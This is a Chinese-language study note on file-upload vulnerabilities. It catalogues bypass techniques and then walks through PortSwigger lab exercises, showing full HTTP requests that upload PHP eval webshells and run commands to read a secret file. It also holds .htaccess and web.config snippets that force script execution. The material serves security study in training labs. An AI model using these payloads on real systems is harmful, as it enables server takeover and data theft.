File Upload
文件上传这个功能点是现在大部分 UGC 站点必备的功能啦,像是头像、文章编辑、评论区等模块都标配。在编码时不考虑上传文件的内容和文件类型就有可能被上传 WebShell。
最常见的利用方法是对正常上传点,传递脚本直接获取 Web 服务控制权限,或者上传一个 HTML 页面将链接发给用户进行钓鱼;用户一看 URL 是官方就有可能放松警惕。
文件上传分为解析差异和应用检验不严格这两种类型。
上传功能原理分析(待补充)常见的上传方式:
- from 表单 multipart/form-data。
- 编码,如 data url base64 编码图片。
使用 Java 写个上传功能。
目录
- 目录
- 1 常见绕过
- 1.1 后缀校验
- 文件类型与文件头绕过
- NTFS 文件流
- Windows 下尾部点号绕过
- Apache .htaccess 配置🔨
- IIS web.config 配置
- 配合 PHP 文件包含 GetShell
- Zip Slip(待补充)
- SSI 执行命令(待补充)
- 条件竞争
- 字符串截断
- GD 二次渲染绕过(待补充)
- PUT 文件上传
- 2 WebServer 解析问题
- 靶场练习
- upload-labs
- Web Security Academy
- Lab: Remote code execution via web shell upload
- Lab: Web shell upload via Content-Type restriction bypass
- Lab: Web shell upload via path traversal
- Lab: Web shell upload via extension blacklist bypass
- Lab: Web shell upload via obfuscated file extension
- Lab: Remote code execution via polyglot web shell upload
- upload-labs
- 实战利用
- 防御
- 问题
- 参考链接
1 常见绕过
1.1 后缀校验
1.没有判断后缀。截取字符串没有以最后一个点开始,而是只是判断文件后缀中是否包含正确后缀,导致多后缀也可以绕过限制。
2.大小写
没有将文件后缀统一转换为小写校验。
Windows 下更改文件它会忽略大小写,最终指向同一个文件,这个特性在切换目录也可以提现出来,Linux 则当成两个不同的文件,它对大小写是区分的。

3.文件后缀加空格。加了空格就不再是同一个黑名单字符串。
4.遇到黑名单中的后缀直接剔除,后面代码检查没有后缀无法上传。那么可以嵌套 1.asaspxpx,最终得到 1.aspx,此操作有人称双写绕过。有时候剔除的不光是后缀名,有可能是空格等特殊字符,不好确定的建议全部遍历一遍试试,比如 1.as px。
5.URL 编码解析差异
可以尝试对文件名 .、/ 和 \ URL 编码或双重 URL 编码,因为有时候在检查后缀时会 URL 解码,结果到了文件写入时则不解码,导致绕过。二次编码绕过也可以举个例子,比如上传文件名是 1%25252Easpx,到了 WAF 先解码为 1%252Easpx 进行检查,在 WAF 角度看起来没问题则传到 WebServer 解码成 1%2Easpx,而应用黑名单后缀检查功能则收到的是 WebServer 检查结果,也认为没问题,最后文件写入功能完成最后一次解码 1.aspx 写入文件。
6.Unicode 编码解析差异
这里会产生两个绕过点。首先是 Canonical Equivalence Issues(Unicode 规范化绕过问题),比如文件后缀的点 %EF%BC%8E 或路径斜杠 %EF%BC%8F 替换成全角字符。目标应用在写入文件的时候会自动规范化,把全角变半角。
最后是 Overlong Encoding Attack,在利用的时候把文件名的点 2e 换成 c0 ae、C0 2E、C4 AE、C0 AE。原理是一个英文字符完全 Unicode 可以用一个字节表示,如果使用多字节 Unicode 字符来表示一个字符(一般是不允许的而且也没必要),后端文件写入的时候为了兼容性把两个字节合并成一个字节再转成字符,最终字符是 2e。
6.遇到仅仅检查黑名单后缀无法上传,aspx 可以尝试上传 aspx、ashx、ascx、asmx。asp 尝试 asp、cer、asa。php 尝试上传 php、php2、php3、php4、php5、pht、phtm、phtml。jsp 尝试 jspx。
文件类型与文件头绕过
文件类型更改请求 Content-type 的 MIME Type 值即可。另一个检查点是看图片是否有效,比如 PHP 中 imagecreatefromjpeg 和 getimagesize,当用这两个函数读取不到图片信息,应用就认为是无效图片导致上传失败。绕过方式也比较简单,可以在图片里塞内容,比如用 exiftool 在 jpg 或者 png 的 Common 字段写入 Shell,这样就应用就能读取到图片结构。
exiftool -Comment="<?php echo 'SSS' . @eval(\$_POST['a']) . ' DDD'; ?>" <YOUR-INPUT-IMAGE>.jpg -o 3.php文件头是不变的,有些代码仅检测文件头,可以把对应文件头后面加上一句话来上传。既限制了后缀有检查了文件头那么可以上传一个正常图片配合解析漏洞/文件包含拿 Shell。
下图是使用 UltraEdit 查看图片 16 进制的文件头。

NTFS 文件流
Windows 每个文件都对应着一个文件流,这里我创建了 shell.php 内容是 gbb,这个创建的过程默认就是用的 Default 文件流。实际上完整格式等同于 shell.php::$DATA,这个格式就是文件流的格式,具体含义为 文件名:流名称:流类型。
E:\Pictures>dir
驱动器 E 中的卷是 SoftWare2
卷的序列号是 7E0F-A68D
E:\Pictures 的目录
2024/09/18 17:46 <DIR> .
2023/04/17 16:21 <DIR> Camera Roll
2023/03/11 20:39 <DIR> Saved Pictures
2024/08/14 15:47 <DIR> Screenshots
1 个文件 12 字节
4 个目录 96,116,973,568 可用字节
E:\Pictures>echo raingray > shell.php && type shell.php
raingray如果使用默认流的情况下,服务器没有此文件就会自动创建一个写入对应内容,文件存在就将原文件内容覆盖。为啥会覆盖?挡我们编辑一个文件时显示的内容都是默认文件流中的内容,把文件流名留空不写就相当于对默认文件流写入数据。
E:\Pictures>echo raingray-rewrite > shell.php::$DATA && type shell.php
raingray-rewrite如果给文件流命名,就等同于我们重新创建一个文件流依附在源文件上。源文件 shell.php 默认流被删除的话,shell.php:raingray.php:$DATA 附加流也会删除。
E:\Pictures>echo raingray-patchStream > shell.php:raingray.php:$DATA && dir /R
驱动器 E 中的卷是 SoftWare2
卷的序列号是 7E0F-A68D
E:\Pictures 的目录
2024/09/18 17:46 <DIR> .
2023/04/17 16:21 <DIR> Camera Roll
2023/03/11 20:39 <DIR> Saved Pictures
2024/08/14 15:47 <DIR> Screenshots
2024/09/18 17:56 20 shell.php
24 shell.php:raingray.php:$DATA
1 个文件 20 字节
4 个目录 96,116,973,568 可用字节
E:\Pictures>more < shell.php:raingray.php
raingray-patchStream
E:\Pictures>::notepad 也可以获取文件流内容:notepad shell.php:raingray.php这种 NTFS 文件流绕过方式适用于黑名单绕过,比如 Windows 下的 PHP 应用存在上传功能,但是后缀用黑名单限制不允许 .php,可以通过文件流 shell.php::$DATA 来绕过后缀限制从而创建 WebShell。
Windows 下尾部点号绕过
目标是 Windows 的情况下写入 1.php. 会自动把最后的点号删除,利用这种特性可以绕过文件上传。
但利用前提需要满足下面三个前提:
1、目标是 Windows;
2、后端采用了黑名单过滤;
3、后端对上传文件没有重命名。
Apache .htaccess 配置🔨
.htaccess 可以针对指定目录进行配置,颗粒度会更细,放置该文件的目录其子目录和文件都会受到影响。
下面的配置是将 .configz 的文件交给 PHP 解析。
AddType application/x-httpd-php .configz这个配置是将 shell.* 这个文件交给 PHP 解析。
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>操作步骤:
- 上传
.htaccess文件,内容是配置某个后缀文件能够交给语言解析。 - 上传指定后缀文件
需要给出详细测试 .htaccess 解析其他后缀的图例,如,设置 .htaccess 解析 jpg 为 php。
IIS web.config 配置
在 IIS 7 及以上版本中,可以上传 web.config 实现跟 Apache 的 .htaccess 类似功能,比如下面将 .jpg 后缀当作 aspx 执行。只需要上传 web.config 和 jpg 文件就能完成利用。
<configuration>
<system.webServer>
<handlers>
<add name="JpgHandler" path="*.jpg" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>另一种利用方式是,如果目标是个比较现代的网站,很有可能是用 .NET 5.0(或者 .NET Core)及以上版本开发的,那可以利用 IIS 使用 ANCM(AspNetCoreModule)模块启动程序(不确定会不会显示应用窗口)。
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<handlers>
<remove name="aspNetCore" />
<add name="aspNetCore" path="static.tcss" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="cmd.exe" arguments="/c nslookup example.com"/>
</system.webServer>
</configuration>使用方法也比较简单,上传 web.config 文件成功假设是在 https://www.example.com/img/web.config,那么这个 web.config 只对 img 及其子文件夹生效,只要访问后访问 img 下的 static.tcss 路径,即可触发 cmd 执行 nslookup 通过 dnsLog 完成漏洞验证,而且这个路径存在与否都不影响利用。
配合 PHP 文件包含 GetShell
验证文件内容和后缀,那我们直接上传正常图片,如果服务器存在文件包含漏洞那么可以在图片文件头后面中添加一句话,让代码把中的内容当做代码执行。
Zip Slip(待补充)
应用在解压缩文件时获取了压缩包内文件名,由于文件名存在 ../ 目特殊字符,在写入文件时直接使用包内的文件名和路径做拼接,最终存储路径会根据文件名切换。
或者是有些应用设置白名单只允许上传压缩包、或者图片文件,但存在解压接口,可以直接解压缩指定文件。而且解压缩又没限制格式,给文件就行。
文件上传后自解压漏洞
https://github.com/snyk/zip-slip-vulnerability
具体 POC 可以用 traversal-archives 通过修改 makefile 快速生成自定义路径的压缩包。
SSI 执行命令(待补充)
上传 .shtml。
开启 SSI 并利用执行系统命令。
- https://docs.microsoft.com/en-us/iis/configuration/system.webserver/serversideinclude
- https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection
条件竞争
有一种场景是检测到文件后缀是不允许上传的,或者判定为恶意文件,应用会上传后的应用先落地临时保存,随后将其删除。
此时可以一边上传同时进行快速请求此文件,一旦被访问占用掉无法删除,直接成功保留住文件。不过应用在处理小文件可能几毫秒就完成了,比较难触发,这时候可以上传大文件,把 Payload 放在文件前头后面填充无效的内容,来增加应用处理时长,提高访问成功率。
但现实情况往往是,目录或文件名随机生成,而且上传目录也不知道,比较难挖掘。
字符串截断
上传 shell.php.jpg,通过在 .jpg 开头放置一个结尾符,最后代码遇到就会直接停止在 shell.php,对这个文件名进行操作就成功截断为 php 文件了。
通过结尾符表示文件结束,%00 是 URL 编码后的结尾符。
%00 截断在 PHP 中 需要 Version 小于 5.3.7。当然,也不是非得 PHP 上才能用,只要底层处理文件采用 C/C++ 都可以试试,有遇到过在 Java 中也存在这种绕过案例。
Burp 抓包修改文件名处输入的标记字符,转换到十六进制中将标记字符改为 00,或者 1.php%00/1.jpg,选中 %00 Ctrl + Shift + U。
GD 二次渲染绕过(待补充)
- 上传符合长宽比的图片(如 1x1大小的图片),避免被图片缩小,导致内容改变。
- 常见库绕过,如 PHP 图片处理 GD 库。
PUT 文件上传
有些应用允许使用 PUT 方法上传请求体里上传文件,可以用 OPTIONS 查询下允许哪些方法上传。
实际测试中遇到过 minio 这种案例。
2 WebServer 解析问题
就算代码写的没问题,Web 服务器存在问题会把其他文件当做其他正常脚本解析。不过在2026年如今很难碰到这种古老问题。
2.1 Apache 1.x / 2.x 解析漏洞(待补充)
Apache 处理 shell.php.jss.zd 从右到做依次判断后缀名能不能解析,不能往前走,直到能解析就停下来,此时得到处理的文件是 shell.php。
Apache 加载的 PHP 模块配置文件正则匹配默认解析 pht、phtml、php3、php4、php5。
2.2 IIS 5.x / 6.0 / 7.5 解析漏洞(待补充)
IIS 调用 asp.dll 解析文件名时出现问题。
- Web 服务器上存在
.asp、.asa、.cer结尾的目录,其目录下所有文件被访问时都会被当做脚本执行。 - 上传一个
xx.asp;.jpg、xx.asa;.jpg、xx.cer;.jpg的图片,访问时这个图片会被当做脚本执行。
2.3 Nginx(待补充)
靶场练习
upload-labs
GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场
前端 JS 验证
在浏览器关掉 JS。


这种方法比较好用,还有个地方可以让它不执行 JS 脚本,它是提交表单是调用这个方法我们可以双击把这双引号内内容删掉,就不会触发检测了。

也可以在本地写一个 HTML 表单进行提交。
文件 MIME 验证
他的验证方式是检测 Content-Type 的MIME是否为图片类型 ,只有匹配上了才放你通过。

我们将原来的 mime Content-Type: application/octet-stream 改为图片的 MIME 就可以绕过了。

文件后缀验证
它这里黑名单验证,会把名字转换为小写并重新用 时间+随机值 命名,文件后缀无法加空格绕过。

Web Security Academy
https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities
Lab: Remote code execution via web shell upload
题意:有个文件上传功能没有任何限制,要求你上传一个 PHP Web Shell 窃取 /home/carlos/secret 文件内容。可以用 wiener:peter 登录账户。
打开 Lab 后在文章详情页底部有个头像上传功能。

上传发现提示缺少参数,但是把所有参数都填上,还是返回同样的错误。
POST /post/comment HTTP/2
Host: 0a95008304a4d57a80a37b7600cf009e.web-security-academy.net
Cookie: session=XatRt8g4vCgsc1eeljZ05xaHiCcVIrC9
Content-Length: 842
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0a95008304a4d57a80a37b7600cf009e.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQMRLx5UMcMVOR7A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a95008304a4d57a80a37b7600cf009e.web-security-academy.net/post?postId=10
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="csrf"
bAqS5X9mDSz3CDXM0O4CJzTbiufiIcI0
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="postId"
10
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="comment"
1
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="name"
2
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="avatar"; filename="index1.php"
Content-Type: application/octet-stream
<?php eval($_GET[s])?>
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="user"
/
------WebKitFormBoundaryoQMRLx5UMcMVOR7A
Content-Disposition: form-data; name="csrf"
bAqS5X9mDSz3CDXM0O4CJzTbiufiIcI0
------WebKitFormBoundaryoQMRLx5UMcMVOR7A--
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 19
"Missing parameter"接着寻找其他上传点,通过账户登录后发现头像功能存在上传漏洞。
POST /my-account/avatar HTTP/2
Host: 0a95008304a4d57a80a37b7600cf009e.web-security-academy.net
Cookie: session=m8d7BapOkvK1pmTczpbkVBSpbQW6WYaJ
Content-Length: 442
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0a95008304a4d57a80a37b7600cf009e.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5o4k3Bs2sJvFwBMH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a95008304a4d57a80a37b7600cf009e.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
------WebKitFormBoundary5o4k3Bs2sJvFwBMH
Content-Disposition: form-data; name="avatar"; filename="index1.php"
Content-Type: application/octet-stream
<?php eval($_GET[s])?>
------WebKitFormBoundary5o4k3Bs2sJvFwBMH
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary5o4k3Bs2sJvFwBMH
Content-Disposition: form-data; name="csrf"
iYGL58Js6xLNTQqP6uSJicLk5Moic8hK
------WebKitFormBoundary5o4k3Bs2sJvFwBMH--
HTTP/2 200 OK
Date: Mon, 19 May 2025 01:09:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 131
The file avatars/index1.php has been uploaded.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>应用直接在头像处引用了上传文件,不用费劲去找文件存储位置。

打开这个文件发现返回空白,推测能解析,直接执行命令成功获得文件内容。
GET /files/avatars/index1.php?s=system("cat+/home/carlos/secret"); HTTP/2
Host: 0a95008304a4d57a80a37b7600cf009e.web-security-academy.net
Cookie: session=m8d7BapOkvK1pmTczpbkVBSpbQW6WYaJ
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
HTTP/2 200 OK
Date: Mon, 19 May 2025 01:16:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
mEtj8NyprhomaOe4p3o7PdEUOm09yUrBLab: Web shell upload via Content-Type restriction bypass
题意:应用有一个图片上传功能,通过 Content-Type 验证文件类型,防止恶意文件被上传到 Web 目录,现在要求你上传 Web shell 窃取 /home/carlos/secret 完成任务。可以使用 wiener:peter 账户登录应用。
在个人中心头像上传处上传 Web Shell,发现校验 Content-Type 只允许 image/jpeg 与 image/png 两种类型的文件可以上传。
POST /my-account/avatar HTTP/2
Host: 0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Cookie: session=37Ypu42UhesUm1bp7OPtXim9euKijmWv
Content-Length: 442
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykt9uTrOiAZ0OgJNv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="avatar"; filename="index1.php"
Content-Type: application/octet-stream
<?php eval($_GET[s])?>
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="csrf"
Mc2zW8CkclLtg3UH7JwcJh2zH8IVRgHe
------WebKitFormBoundarykt9uTrOiAZ0OgJNv--
HTTP/2 403 Forbidden
Date: Mon, 19 May 2025 01:25:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 238
Sorry, file type application/octet-stream is not allowed
Only image/jpeg and image/png are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>将 Content-Type 更改这两种类型之一就可以绕过检查限制,成功上传 Web Shell。
POST /my-account/avatar HTTP/2
Host: 0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Cookie: session=37Ypu42UhesUm1bp7OPtXim9euKijmWv
Content-Length: 427
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykt9uTrOiAZ0OgJNv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="avatar"; filename="index1.php"
Content-Type: image/png
<?php eval($_GET[s])?>
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarykt9uTrOiAZ0OgJNv
Content-Disposition: form-data; name="csrf"
Mc2zW8CkclLtg3UH7JwcJh2zH8IVRgHe
------WebKitFormBoundarykt9uTrOiAZ0OgJNv--
HTTP/2 200 OK
Date: Mon, 19 May 2025 01:28:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 131
The file avatars/index1.php has been uploaded.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>成功窃取文件内容。
GET /files/avatars/index1.php?s=system("cat+/home/carlos/secret"); HTTP/2
Host: 0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Cookie: session=37Ypu42UhesUm1bp7OPtXim9euKijmWv
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="136", "Microsoft Edge";v="136", "Not.A/Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac300e9048b913780b50df3002e00b6.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
HTTP/2 200 OK
Date: Mon, 19 May 2025 01:29:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
e5nr0XELN6HIKF6z1xb6ZLVtVCCDGRGKLab: Web shell upload via path traversal
题意:本实验包含一个存在漏洞的图片上传功能。服务器已经针对上传漏洞做了安全配置,不会执行执行用户上传的脚本文件,但可以通过利用一个次要漏洞绕过该限制。先要要求你窃取 /home/carlos/secret 文件内容提交完成实验。可以使用 wiener:peter 账户登录应用。
直接在头像处上传文件后,发现成功了
POST /my-account/avatar HTTP/2
Host: 0ac5002403618fb580106dd000160087.web-security-academy.net
Cookie: session=qaqQhloOF56f9j7epEVerSC55OFReIVt
Content-Length: 438
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0ac5002403618fb580106dd000160087.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0vHcrOVnFdofrFRe
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac5002403618fb580106dd000160087.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundary0vHcrOVnFdofrFRe
Content-Disposition: form-data; name="avatar"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_GET['a'])
------WebKitFormBoundary0vHcrOVnFdofrFRe
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary0vHcrOVnFdofrFRe
Content-Disposition: form-data; name="csrf"
XhhhZRaOyJW5uSmzWmt8BsliDDDrYC7l
------WebKitFormBoundary0vHcrOVnFdofrFRe--
HTTP/2 200 OK
Date: Thu, 05 Mar 2026 08:09:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 126
The file avatars/1.php has been uploaded.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>访问脚本发现不解析,直接把内容当做文本进行展示。
GET /files/avatars/1.php HTTP/2
Host: 0ac5002403618fb580106dd000160087.web-security-academy.net
Cookie: session=qaqQhloOF56f9j7epEVerSC55OFReIVt
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
HTTP/2 200 OK
Date: Thu, 05 Mar 2026 08:11:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 05 Mar 2026 08:09:23 GMT
Etag: "17-64c4274579ed3"
Accept-Ranges: bytes
X-Frame-Options: SAMEORIGIN
Content-Length: 23
<?php @eval($_GET['a'])这里应该是目录设置了不解析位置后缀的内容,尝试下目录遍历上传到其他目录,都传成功了,但前端返回的目录并没有成功解析,访问对应文件都是 404,没思路了。
<img src="/files/avatars/../../image/blog/posts/1.php" class="avatar">发现 WebServer 是 Apache 尝试上传 .htaccess,也被后端禁止了。
到这里没思路,不知道怎么做。
看了 WP 和 Youtube 解题视频才知道,明文的 ../ 会被检测 /,只要对正斜杠编码即可绕过目录遍历。还是探测的不够细致。
而前期我就用了 ../../14.php,应用返回 The file avatars/14.php has been uploaded.。
如果使用 URL 编码 %2e%2e%2f% 2e%2e%2f%31%34%2e%70%68%70 返回 Sorry, there was an error uploading your file.
双重 URL 编码 %2e%2e%2f%2e%2e%2f%31%34%2e%70%68%70 返回 The file avatars/%2e%2e%2f%2e%2e%2f%31%34%2e%70%68%70 has been uploaded.,这是个好消息,说明 Apache 解码完后还剩一层 URL 编码,这样绕过了代码层面的限制,成功执行到了文件写入的位置。
再尝试全部单层编码 %2e%2e%2f%2e%2e%2f14.php,这时候返回 Sorry, there was an error uploading your file.
尝试编码点 %2e%2e/%2e%2e/15.php,仍然无法穿越目录,应用返回 The file avatars/15.php has been uploaded.
尝试编码斜杠 ..%2f..%2f15.php,还是被拦截 Sorry, there was an error uploading your file.。
最后尝试单层穿越 ..%2f15.php,成功了 The file avatars/../15.php has been uploaded.。他妈的,为什么只能穿越单层啊?还能不能穿越到其他目录吗?真破防了。
后面慢慢复盘才晓得,目录穿越最好先从 ../ 一层进行尝试,如果失败要多观察应用返回的信息,再尝试多层穿越和编码,失败有可能是没权限写入,或是代码做了防护拦截。
Lab: Web shell upload via extension blacklist bypass
题意:该实验包含一个存在漏洞的图片上传功能。某些文件扩展名被列入黑名单,但由于该黑名单配置中存在根本性缺陷,这种防护可以被绕过。要解决该实验,上传一个基础的 PHP Web shell,然后使用它窃取文件 /home/carlos/secret 的内容。使用实验横幅中提供的按钮提交这个密钥。你可以使用以下凭据登录你自己的账户: wiener:peter
看意思就是让你绕黑名单。
前面教你用 .phtml、php2......这种后缀,后面又说 Apache 的 .phtml 可以自定义配置,下面就看哪种绕过方法可行。
